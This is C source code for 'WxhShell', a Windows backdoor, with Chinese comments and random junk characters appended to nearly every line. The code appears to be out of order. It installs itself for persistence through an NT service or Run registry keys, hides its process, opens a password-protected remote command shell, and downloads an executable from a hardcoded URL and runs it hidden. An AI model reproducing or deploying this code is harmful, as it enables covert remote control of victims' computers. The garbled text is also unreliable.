ULONG InheritedFromUniqueProcessId; p9w%kM?
} PROCESS_BASIC_INFORMATION; _}z_yu#jY
ox
JGJ
PROCNTQSIP NtQueryInformationProcess; :D^Y?
2:/u2K
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +QQYPEx+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1[[TB .xF
x{QBMe`
HANDLE hProcess; IE@ z@+\(
PROCESS_BASIC_INFORMATION pbi; G#g{3}dcK
rkP4<E-M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q'fPNQg
if(NULL == hInst ) return 0; (-#rFO5~l
dd19z%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cl-S=q@>V
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tbRE/L<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cC'^T6
l92!2$]b
if (!NtQueryInformationProcess) return 0; $ #t|(\
XzN-slu!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s.bT[0Vl
if(!hProcess) return 0; @qpYDnJ:
JYl\<Z' {
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,Os7T 1>
9DY|Sa]#=
CloseHandle(hProcess); D'85VZEFyo
wFn@\3%l`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AE]i
V {p
if(hProcess==NULL) return 0; )fy<P;g
~t$mw,
HMODULE hMod; &l?N:(r
char procName[255]; hq]xmM?&
unsigned long cbNeeded; a$laRtId7
3a/[."W
u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #efqG=q
rSzQUn<
CloseHandle(hProcess); ja L$LJV
X9 z:D>
if(strstr(procName,"services")) return 1; // 以服务启动 %e(9-M4*
k62$:9`5
return 0; // 注册表启动 QR|XV%$
} %f>X-*}NI-
2z[r@}3
// 主模块 n=;';(wR[
int StartWxhshell(LPSTR lpCmdLine) )#)nBM2\
{ ?' TA!MR
SOCKET wsl; y @]8Ep
BOOL val=TRUE; DBLA% {05
int port=0; $hyqYp"/;
struct sockaddr_in door; uT'-B7N
#:
dR^zr<
if(wscfg.ws_autoins) Install(); C,9)V5!tP2
D9e+
port=atoi(lpCmdLine); Zj:a-=
$^!a`Xr
if(port<=0) port=wscfg.ws_port; u'#`yTB6b
&NlS =
WSADATA data; %H 8A=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |E"Xavi>
DN4fP-m-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; E~rs11
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :5$xh
door.sin_family = AF_INET; )[e%wPu4e
door.sin_addr.s_addr = inet_addr("127.0.0.1"); v; je <DT
door.sin_port = htons(port); y21)~
L7i}Ga!8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 16a_GwfM
closesocket(wsl); 8=lHUn9l
return 1; "
whO}
} Wg}B@:`T
RPz!UMQSD
if(listen(wsl,2) == INVALID_SOCKET) { ;"d?_{>7
closesocket(wsl); 7Qm;g-)f
return 1; =) mXCA^
} #Nu%]
Wxhshell(wsl); ?ZSXoy-kr
WSACleanup(); </K%i;l
j;1~=j])
return 0; []GthF
Xtu:
} _)HD4,`
B"pFJ"XR
// 以NT服务方式启动 L?Kz
P.(t+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xn%l
{ Qx6,>'Qk'
DWORD status = 0; }:,o Y<
DWORD specificError = 0xfffffff; "R@$Wu53|
m_{%tU;N
serviceStatus.dwServiceType = SERVICE_WIN32; A^}i^
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $[HcHnf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p?J~'
serviceStatus.dwWin32ExitCode = 0; t(Q&H!~e
serviceStatus.dwServiceSpecificExitCode = 0; c9Y2eetO
serviceStatus.dwCheckPoint = 0; mB{&7Rb0
serviceStatus.dwWaitHint = 0; *"|VNnB
W\ 1bE(AwZ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o<C]+Nt,@
if (hServiceStatusHandle==0) return; |_hioMVz
~ LJ>WA
status = GetLastError(); !=~s/{$PE
if (status!=NO_ERROR) .}L-c>o"o
{ &cv@Kihq(
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8`L#1ybMO
serviceStatus.dwCheckPoint = 0; )OW(T^>_'I
serviceStatus.dwWaitHint = 0; C8bGae(
serviceStatus.dwWin32ExitCode = status; 0%GqCg
serviceStatus.dwServiceSpecificExitCode = specificError; Sleu#]-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *G2)@0
{
return; (>!]A6^L~
} kT Z?+hx
@2GhN&=
serviceStatus.dwCurrentState = SERVICE_RUNNING; NB!'u)
lFD
serviceStatus.dwCheckPoint = 0; >|UrxJ7
serviceStatus.dwWaitHint = 0; *zw
R=
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cJ7{4YK_#/
} UX-_{I
QW
@);!x41f
// 处理NT服务事件,比如:启动、停止 73^T*
VOID WINAPI NTServiceHandler(DWORD fdwControl) imJ[:E
{ F_p3:l
switch(fdwControl) [9db=$v8$
{ gL[1wM%?
case SERVICE_CONTROL_STOP: XEvGhy#
serviceStatus.dwWin32ExitCode = 0; ;Sx'O
serviceStatus.dwCurrentState = SERVICE_STOPPED; Dr8WV\4@
serviceStatus.dwCheckPoint = 0; d'lr:=GQ
serviceStatus.dwWaitHint = 0; %-1BA*J`|
{ L5V'Sr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h a,=LV
} yL.PGF1(
return; ] dm1Qm
case SERVICE_CONTROL_PAUSE: EMVoTW)z
serviceStatus.dwCurrentState = SERVICE_PAUSED; =ELDJt
break; xzMeKC`
case SERVICE_CONTROL_CONTINUE: D^N#E>,
serviceStatus.dwCurrentState = SERVICE_RUNNING; BST7y4R)BS
break; !yV,|)y5F
case SERVICE_CONTROL_INTERROGATE: %ojR?=ON
break; V#-qKV
}; 9QX~aX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) $l9xx[
} OW63^wA`s
pjKl)q
// 标准应用程序主函数 [6&CloY3
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OUIUgej
{ .@8m\
%X0NHta~@
// 获取操作系统版本 l~Ie#vak
OsIsNt=GetOsVer(); 1{hoO<CJ
GetModuleFileName(NULL,ExeFile,MAX_PATH); 90y9~.v
z
1#0
// 从命令行安装 /]MB6E7&
if(strpbrk(lpCmdLine,"iI")) Install(); #pDGaqeX
n}9Msen
// 下载执行文件 gvTOCF
if(wscfg.ws_downexe) { !CVBG*E^l
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D_
Bx>G9
WinExec(wscfg.ws_filenam,SW_HIDE); O%fp;Y{`
} |$SvD2^
$_URXI
if(!OsIsNt) { :9!0Rm
// 如果时win9x,隐藏进程并且设置为注册表启动 9pl_V
WrQ
HideProc(); LrM.wr zI/
StartWxhshell(lpCmdLine); O yH!V&w
} z|DA
_dG
else 8[`^(O#\E
if(StartFromService()) o
{XwLi
// 以服务方式启动 VM2@{V/=~
StartServiceCtrlDispatcher(DispatchTable); VhH]n yi7D
else fa+W9
// 普通方式启动 C#**)
StartWxhshell(lpCmdLine); pw<q?q%
\yX !P1
return 0; ExOB P
} O)RzNfI^`N
JV?RgFy
TOPPa?=vk
CSX$Pk*
=========================================== \9|]
"$V 8y
mBpsgm:g^
_iboTcUF
FbCZV3Y
ev: !,}]w
" "{ QHWZ
<v7KE*#
#include <stdio.h> {DXZ}7w:v
#include <string.h> 4QKE{0NE
#include <windows.h> 5#9Wd9LP
#include <winsock2.h> \'LC C-
#include <winsvc.h> i!d7,>l+Q~
#include <urlmon.h> `Z7ITvF>
M%5$-;6~_
#pragma comment (lib, "Ws2_32.lib") 4Jk}/_
#pragma comment (lib, "urlmon.lib") @6!y(e8"J]
;\*Od?1
#define MAX_USER 100 // 最大客户端连接数 xu?QK6D:
#define BUF_SOCK 200 // sock buffer F;X q:e8
#define KEY_BUFF 255 // 输入 buffer 55\X\>
0C7
^<
/vbF
#define REBOOT 0 // 重启 klC^xSx
#define SHUTDOWN 1 // 关机 kz VI:
/XW0`FF
#define DEF_PORT 5000 // 监听端口 @H# kvYWmn
NX""?"q
#define REG_LEN 16 // 注册表键长度 4TQISu)
#define SVC_LEN 80 // NT服务名长度 ah Xq{>
S7~F*CGBh
// 从dll定义API np\Q&
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WJSHLy<a
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]o+|jgkt]
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3F'dT[;
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WmVw>.]@~
+$=Wms-z
// wxhshell配置信息 ylxfh(
struct WSCFG { }.$B1%2
int ws_port; // 监听端口 Lr\ B
char ws_passstr[REG_LEN]; // 口令 o>A%}YU
int ws_autoins; // 安装标记, 1=yes 0=no =+-.5M
char ws_regname[REG_LEN]; // 注册表键名 KZ}4<{3
char ws_svcname[REG_LEN]; // 服务名 >)A
char ws_svcdisp[SVC_LEN]; // 服务显示名 !6/IKh`J
char ws_svcdesc[SVC_LEN]; // 服务描述信息 %^%-h}1
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g+/U^JIc4l
int ws_downexe; // 下载执行标记, 1=yes 0=no 3N%Evo
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6dy4{i
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )B&<Bk+
8kc'|F\
}; rH:X/i;D
p;t!"I:`?
// default Wxhshell configuration [pWDhY
struct WSCFG wscfg={DEF_PORT, l/UG+7
"xuhuanlingzhe", e(\S,@VN2
1, 8'xnhV
"Wxhshell", ,0~
{nQ j]
"Wxhshell", 8Bt-
"WxhShell Service", =XBXSW8)DJ
"Wrsky Windows CmdShell Service", x-#9i
"Please Input Your Password: ", Mh.eAM8 _
1, #DRtMrfat
"http://www.wrsky.com/wxhshell.exe", 2P=~3g*
"Wxhshell.exe" bfI -!,
}; u
R%R]X
}0nB'0|y
// 消息定义模块 l(#Y8
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %y\7
char *msg_ws_prompt="\n\r? for help\n\r#>"; nJ#@W b@
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E0Y/N?
char *msg_ws_ext="\n\rExit."; 9la~3L_g
char *msg_ws_end="\n\rQuit."; yaXa8v'oC
char *msg_ws_boot="\n\rReboot..."; ,h`D(,?X
char *msg_ws_poff="\n\rShutdown..."; t RyGxqiG
char *msg_ws_down="\n\rSave to "; 6Vzc:8o>
2,Dc]oj
char *msg_ws_err="\n\rErr!";
. _t,OX$
char *msg_ws_ok="\n\rOK!"; +sl uu!~
`6sQlCOnF
char ExeFile[MAX_PATH]; .*f4e3
int nUser = 0; #R PB;#{
HANDLE handles[MAX_USER]; W!B4<'Fjc
int OsIsNt; wP':B
AQ4U
2^ZPO4|
SERVICE_STATUS serviceStatus; "#k(V=y
SERVICE_STATUS_HANDLE hServiceStatusHandle; E=*Q\3G~
wEc5{ b5M
// 函数声明 7CMgvH)O
int Install(void); wP1VQUL
int Uninstall(void); CgKSK0/a
int DownloadFile(char *sURL, SOCKET wsh); ?N*@o.
int Boot(int flag); p2vUt
void HideProc(void); QGj5\{E_
int GetOsVer(void); *AQbXw]w
int Wxhshell(SOCKET wsl); {lUl+_58
void TalkWithClient(void *cs); K$5P_~;QL
int CmdShell(SOCKET sock); uPv?Hq
int StartFromService(void); ZxPAu% Y
int StartWxhshell(LPSTR lpCmdLine); 76r
s)J[*w
#R~NR8(z
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jtr=8OiL
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "FIx^
=xet+;~ji
// 数据结构和表定义 %9Fg1LH42r
SERVICE_TABLE_ENTRY DispatchTable[] = 6lAo`S\)eX
{ @}!$NI8
{wscfg.ws_svcname, NTServiceMain}, aKtTx~$@
{NULL, NULL} HZ=yfJs nc
}; v>!}cB/6
M=`Se&-M
// 自我安装 2`m _"y
int Install(void) k ,(:[3J
{ += ~}PF
char svExeFile[MAX_PATH]; bQjHQ"G
HKEY key; ,peE'
strcpy(svExeFile,ExeFile); vJUB; hD
p<19 Jw<
// 如果是win9x系统,修改注册表设为自启动 ;rL$z;}8
if(!OsIsNt) { D9C; JD
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dtl<
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c?",kzo
RegCloseKey(key); h8Si,W3o
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !:{_<